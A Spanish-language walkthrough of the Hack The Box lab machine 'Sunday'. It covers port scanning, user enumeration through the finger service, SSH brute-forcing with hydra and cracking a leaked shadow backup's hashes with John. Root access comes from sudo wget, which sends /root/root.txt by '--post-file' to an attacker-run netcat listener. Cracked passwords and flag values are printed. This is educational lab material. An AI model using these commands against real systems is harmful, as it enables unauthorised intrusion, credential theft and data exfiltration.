En este writeup vamos a ver cómo resolver la máquina Sunday de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.76
El TTL que tiene es de 254 por lo que nos enfrentamos ante una máquina Solaris.
El siguiente paso es hacer un escaneo de puertos:
$ nmap -p- --open -T5 -v -n 10.10.10.76 -oG ports
Podemos ver que tiene los siguientes puertos abiertos:
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
40979/tcp open unknown
62535/tcp open unknown
Como esto no nos da mucha más información vamos a ejecutar otro tipo de escaneo de puertos:
$ nmap -p- -A 10.10.10.76 --open -v -oN ports
Con este ya vemos que ha aparecido un puerto nuevo:
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
|_finger: ERROR: Script execution failed (use -d to debug)
111/tcp open rpcbind
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
62535/tcp open unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Veamos a ver que hay en el puerto 79:
$ nmap -p79 -Pn -sC -sV 10.10.10.79
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
|_finger: No one logged on\x0D
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Es un servicio llamado finger de Sun Solaris fingerd.
Lanzamos metasploit para buscar si existe algún exploit disponible:
$ msfconsole
msf6 > search finger
msf6 > use scanner/finger/finger_users
msf6 > show options
msf6 > set RHOST 10.10.10.76
msf6 > exploit
Y obtenemos los siguientes usuarios:
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: adm
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: lp
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: uucp
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: nuucp
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: dladm
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: listen
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: bin
[+] 10.10.10.76:79 - 10.10.10.76:79 Users found: adm, bin, dladm, listen, lp, nuucp, uucp
[*] 10.10.10.76:79 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Podemos utilizar el script de finger-user-enum de este repositorio https://github.com/pentestmonkey/finger-user-enum
para intentar localizar más usuarios:
Después de clonar el repositorio nos descargamos este diccionario:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/names.txt
O también podemos utilizar las listas de seclists instalando lo siguiente:
$ sudo apt-get install seclists
Y lanzamos el script:
$ ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
Después de un rato encontraremos estos dos usuarios:
Podemos utilizar el comando finger para ver más información de cada uno de los usuarios, obtendremos algo como esto:
$ finger -ls sunny@10.10.10.76
Login name: sunny In real life: sunny
Directory: /export/home/sunny Shell: /bin/bash
Last login Tue Apr 24, 2018 on pts/3 from 10.10.14.4
No unread mail
No Plan.
Podemos usar hydra para intentar hacer un ataque de fuerza bruta contra el ssh. Para ello:
$ hydra -V -I -l sunny -P '/usr/share/wordlists/rockyou.txt' 10.10.10.76 ssh -s 22022
Después de un rato encuentra la contraseña sunday para el usuario sunny.
Capturar User Flag
Si tratamos de conectarnos por ssh nos dará un error en la negociación de certificados, tenemos que añadir la siguiente opción al comando:
$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p 22022
Una vez dentro podemos hacer un sudo -l para ver qué permisos tiene este usuario:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$ id
uid=65535(sunny) gid=1(other) groups=1(other)
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
Podemos buscar el fichero user.txt con el siguiente comando:
$ find / -name user.txt 2>/dev/null
$ /export/home/sammy/Desktop/user.txt
sunny@sunday:/export/home$ cat /export/home/sammy/Desktop/user.txt
cat: /export/home/sammy/Desktop/user.txt: Permission denied
Si ejecutamos como root el script /root/troll obtenemos lo siguiente:
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
Esto lo podremos utilizar después para escalar privilegios pero antes movámonos al directorio /backup
Ahí vemos dos ficheros:
sunny@sunday:/backup$ ls -ltr
total 2
-rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup
-r-x--x--x 1 root root 53 2018-04-24 10:35 agent22.backup
Si hacemos un cat del fichero de shadow vemos lo siguiente:
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Vemos que los usuarios sammy y sunny tienen hashes de contraseña.
Si intentamos hacer un cat del fichero agent22.backup no nos dejará por falta de permisos.
Vamos a descargarnos el fichero shadow.backup por scp:
$ scp -P22022 -oKexAlgorithms=+diffie-hellman-group1-sha1
sunny@10.10.10.76:/backup/shadow.backup .
Una vez lo tenemos en nuestra máquina vamos a tratar de descifrar los hashes utilizando john the ripper:
Para eso abrimos el fichero y seleccionamos el hash de sammy y lo pegamos en un fichero nuevo.
$ john --wordlist=/usr/share/wordlists/rockyou.txt sammy.hash
Tenemos la contraseña de sammy:
$ john --show sammy.hash
?:cooldude!
1 password hash cracked, 0 left
Nos conectamos por ssh con este usuario:
$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sammy@10.10.10.76 -p 22022
Password:
Last login: Fri Jul 31 17:59:59 2020
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sammy@sunday:~$ id
uid=101(sammy) gid=10(staff) groups=10(staff)
sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
Vemos que puede utilizar wget como sudo sin tener que poner contraseña.
El fichero con la USER Flag se encuentra en /export/home/sammy/Desktop/user.txt
Capturar Root Flag
Para conseguir la ROOT Flag nos tenemos que aprovechar de que sammy puede ejecutar wget como sudo. Para ello vamos a abrir una terminal con una conexión de netcat escuchando.
$ nc -nvlp 4444
En la máquina vulnerada ejecutamos lo siguiente:
$ sudo /usr/bin/wget --post-file=/root/root.txt 10.10.14.7:4444
Y automáticamente tendremos la ROOT Flag en nuestro netcat:
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.76] 39164
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.7:4444
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
fb40fab61d99d37536daeec0d97af9b8